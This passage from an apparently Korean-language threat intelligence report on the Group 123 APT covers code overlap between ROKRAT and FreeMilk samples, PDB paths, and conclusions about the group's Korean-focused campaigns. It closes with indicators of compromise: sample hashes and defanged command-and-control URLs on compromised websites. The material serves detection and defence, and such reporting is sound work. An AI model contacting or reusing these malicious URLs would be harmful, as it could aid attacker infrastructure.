또한, 이러한 항목은 Microsoft Vault 메커니즘을 지원합니다. Vault는 Windows 7에서 구현되었으며, Internet explorer 의 모든 민감한 데이터(자격 증명)를 포함합니다. Vault API의 초기화는 다음과 같습니다.
왼쪽은 ROKRAT 샘플이고 오른쪽은 FreeMilk 샘플입니다. 코드 외에도 작성자가 "IE Registery"와 같은 영어 오타를 그대로 복사/붙여넣기한 것을 확인할 수 있습니다.
PDB 경로
이 기사에서 언급된 모든 바이너리의 PDB 명명 규칙에서는 패턴을 분명하게 식별할 수 있습니다.
ROKRAT:
- e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdb (출처: "사악한 새해" 캠페인)
- d:\HighSchool\version 13\2ndBD\T+M\T+M\Result\DocPrint.pdb (출처: "북한 인권" 캠페인)
- D:\HighSchool\version 13\First-Dragon(VS2015)\Sample\Release\DogCall.pdb(6월의 미확인 캠페인의 ROKRAT 샘플)
와이퍼:
- D:\HighSchool\version 13\VC2008(Version15)\T+M\T+M\TMProject\Release\ErasePartition.pdb(출처: "행복하십니까?" 캠페인)
요약 그래프
이 기사에서 언급된 각 캠페인 간의 유사점과 차이점을 시각적으로 표시한 그래프는 다음과 같습니다.
결론
대한민국은 악성 공격 조직들의 주요 타겟이 되고 있으며, 이들은 악성 행위의 대상이 정보, 문서 또는 이메일을 합법적인 것으로 느끼도록 유도하기 위해 자연스러운 한국어를 사용하는 등 지역적 특색에 맞춰 기술을 변화시키고 있습니다. 특정 캠페인에서 이러한 공격 조직은 스피어 피싱 캠페인을 위조하거나 명령 및 제어를 호스팅하기 위해 시간을 들여 여러 합법적인 한국 플랫폼(연세대학교 및 KGLS 포함)의 보안을 침해했습니다. 이러한 접근은 이보다 덜 지능적인 공격 조직에서는 거의 찾아볼 수 없는 방식입니다. 이러한 사실을 통해 이 공격 조직이 상당한 수준의 성숙도를 갖췄으며 한국 지역 관련 지식 또한 보유하고 있음을 알 수 있습니다.
그러나 Group 123의 활동 범위는 대한민국뿐만이 아닙니다. 한국에 있는 피해자를 대상으로 할 때는 특정 HWP 문서를 사용했다면, 전 세계를 대상으로 할 때는 반대로 Microsoft Office 문서를 사용하는 등 더 일반적인 공격 벡터로 전환할 수 있습니다. Group 123은 망설이지 않고 공개 익스플로잇과 스크립팅 언어를 사용하여 악성 페이로드를 설치 및 실행합니다. 이 그룹은 보안이 침해된 합법적인 웹 사이트(주로 Wordpress) 및 클라우드 플랫폼을 사용하여 감염된 시스템과 통신합니다. 이러한 접근 방식은 이들 네트워크 플로우 분석을 통한 통신 탐지 작업을 어렵게 만듭니다. 이 공격 조직이 사용한 공격 수단의 종류는 매우 다양했으나, 우리는 일부 패턴, 다양한 공개 저장소에서 복사하여 붙여넣기한 코드, 서로 다른 코드 간의 유사점 등을 파악하는 데 성공했으며, 원격 관리 툴뿐만 아니라 와이퍼 또한 파악하였습니다. 이 그룹은 인텔리전스 수집 캠페인에 참여했으며 최종적으로 파괴 공격을 시도했다고 결론 내릴 수 있습니다.
이 공격 조직에 대한 최신 분석 결과에 따르면 이 공격 조직은 당분간 사라지지 않고 앞으로도 계속 활발히 활동할 것으로 예상됩니다. Group 123은 ROKRAT에 파일이 없는 새로운 방식을 추가한 점에서 알 수 있듯이 끊임없이 진화하고 있습니다. 또한, 이 그룹의 대상 프로파일링은 변화할 수 있지만 현재로서는 한반도가 주요 대상이라고 판단됩니다. 그러나 앞에서 설명한 것과 같이 이 그룹은 TTP를 추가로 조정하여 시간이 지남에 따라 계속 진화할 가능성이 높습니다.
IOC
"골든 타임" 캠페인:
악성 문서 #1 sha256: 7d163e36f47ec56c9fe08d758a0770f1778fa30af68f39aac80441a3f037761e
악성
문서 #2 sha256: 5441f45df22af63498c63a49aae82065086964f9067cfa75987951831017bd4f
ROKRAT #1: cd166565ce09ef410c5bba40bad0b49441af6cfb48772e7e4a9de3d646b4851c
ROKRAT #1:
051463a14767c6477b6dacd639f30a8a5b9e126ff31532b58fc29c8364604d00
네트워크:
악성 URL:
- hxxp://discgolfglow[.]com/wp-content/plugins/maintenance/images/worker.jpg
- hxxp://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpg
보안 URL:
- hxxps://www[.]amazon[.]com/Men-War-PC/dp/B001QZGVEC/EsoftTeam/watchcom.jpg
-
hxxp://www[.]hulu[.]com/watch/559035/episode3.mp4
"사악한 새해" 캠페인:
악성 문서 sha256: 281828d6f5bd377f91c6283c34896d0483b08ac2167d34e981fbea871893c919
설치됨 #1: 95192de1f3239d5c0a7075627cf9845c91fd397796383185f61dde893989c08a
설치됨 #2: 7ebc9a1fd93525fc42277efbccecf5a0470a0affbc4cf6c3934933c4c1959eb1
설치됨 #3: 6c372f29615ce8ae2cdf257e9f2617870c74b321651e9219ea16847467f51c9f
설치됨 #4: 19e4c45c0cd992564532b89a4dc1f35c769133167dc20e40b2a41fccb881277b
설치됨 #5: 3a0fc4cc145eafe20129e9c53aac424e429597a58682605128b3656c3ab0a409
설치됨 #6: 7d8008028488edd26e665a3d4f70576cc02c237fffe5b8493842def528d6a1d8
압축
해제됨 #1: 7e810cb159fab5baccee7e72708d97433d92ef6d3ef7d8b6926c2df481ccac2f
압축
해제됨 #1: 21b098d721ea88bf237c08cdb5c619aa435046d9143bd4a2c4ec463dcf275cbe
압축
해제됨 #1: 761454dafba7e191587735c0dc5c6c8ab5b1fb87a0fa44bd046e8495a27850c7
압축
해제됨 #1: 3d442c4457cf921b7a335c0d7276bea9472976dc31af94ea0e604e466596b4e8
압축
해제됨 #1: 930fce7272ede29833abbfb5df4e32eee9f15443542434d7a8363f7a7b2d1f00
압축
해제됨 #1: 4b20883386665bd205ac50f34f7b6293747fd720d602e2bb3c270837a21291b4
압축 해제됨 #1: f080f019073654acbe6b7ab735d3fd21f8942352895890d7e8b27fa488887d08
네트워크:
-
www[.]imuz[.]com/admin/data/bbs/review2/board/index.php
- www[.]imuz[.]com/admin/data/bbs/review2/board/123.php
- www[.]imuz[.]com/admin/data/bbs/review2/board/02BC6B26_put.jpg
(02BC6B26이 임의로 생성된 위치)
-
www[.]wildrush[.]co[.]kr/bbs/data/image/work/webproxy.php
- www[.]wildrush[.]co[.]kr/bbs/data/image/work/02BC6B26_put.jpg
(02BC6B26이 임의로 생성된 위치)
-
www[.]belasting-telefoon[.]nl//images/banners/temp/index.php
- www[.]belasting-telefoon[.]nl//images/banners/temp/02BC6B26_put.jpg
(02BC6B26이 임의로 생성된 위치)
-
www[.]kgls[.]or[.]kr/news2/news_dir/index.php
- www[.]kgls[.]or[.]kr/news2/news_dir/02BC6B26_put.jpg
(02BC6B26이 임의로 생성된 위치)
"행복하십니까?" 캠페인:
와이퍼 sha256: 6332c97c76d2da7101ad05f501dc1188ac22ce29e91dab6d0c034c4a90b615bd
"FreeMilk" 캠페인:
Office sha256: f1419cde4dd4e1785d6ec6d33afb413e938f6aece2e8d55cf6328a9d2ac3c2d0
HTA sha256: a585849d02c94e93022c5257b162f74c0cdf6144ad82dd7cf7ac700cbfedd84f
JS sha256: 1893af524edea4541c317df288adbf17ae4fcc3a30d403331eae541281c71a3c
PoohMilk sha256: 35273d6c25665a19ac14d469e1436223202be655ee19b5b247cb1afef626c9f2
Freenki sha256: 7f35521cdbaa4e86143656ff9c52cef8d1e5e5f8245860c205364138f82c54df
Freenki 2016: 99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5
네트워크:
- hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]
-
hxxp://old[.]jrchina[.]com/btob_asiana/appach01.jpg
- hxxp://old[.]jrchina[.]com/btob_asiana/appach02.jpg
- hxxp://old[.]jrchina[.]com/btob_asiana/udel_ok.ipp
-
hxxp://old[.]jrchina[.]com/btob_asiana/udel_confirm.php
"북한 인권" 캠페인:
악성 문서 sha256: 171e26822421f7ed2e34cc092eaeba8a504b5d576c7fd54aa6975c2e2db0f824
설치됨 #1: a29b07a6fe5d7ce3147dd7ef1d7d18df16e347f37282c43139d53cce25ae7037
설치됨 #2: eb6d25e08b2b32a736b57f8df22db6d03dc82f16da554f4e8bb67120eacb1d14
설치됨 #3: 9b383ebc1c592d5556fec9d513223d4f99a5061591671db560faf742dd68493f
ROKRAT:: b3de3f9309b2f320738772353eb724a0782a1fc2c912483c036c303389307e2e
"사악한 새해 2018년" 캠페인:
악성 문서 sha256: f068196d2c492b49e4aae4312c140e9a6c8c61a33f61ea35d74f4a26ef263ead
PNG: bdd48dbed10f74f234ed38908756b5c3ae3c79d014ecf991e31b36d957d9c950
ROKRAT: 3f7827bf26150ec26c61d8dbf43cdb8824e320298e7b362d79d7225ab3d655b1
네트워크:
-
hxxp://60chicken[.]co[.]kr/wysiwyg/PEG_temp/logo1.png
참조
http://blog.talosintelligence.com/2017/02/korean-maldoc.html
http://blog.talosintelligence.com/2017/04/introducing-rokrat.html
http://www.ciscokrblog.com/1275?category=408874
'디지털 세상 > 보안' 카테고리의 다른 글
평창올림픽을 노린 파괴형 맬웨어 올림픽 디스트로이어(Olympic Destroyer) (0) | 2018.02.13 |
---|---|
플래시 플레이어 제로데이 취약점 공격 성행:Group 123 연루 (0) | 2018.02.06 |
하루 200억 개의 공격을 막는 조직이 있다고? 최정예 보안 군단 탈로스 (0) | 2017.12.07 |
사이버위협 진화에 맞서 발전하는 지능형 보안관제서비스 (0) | 2017.12.05 |
진화하는 사이버공격, 혼자서는 안되겠다…보안 업계 공조 바람 (0) | 2017.11.30 |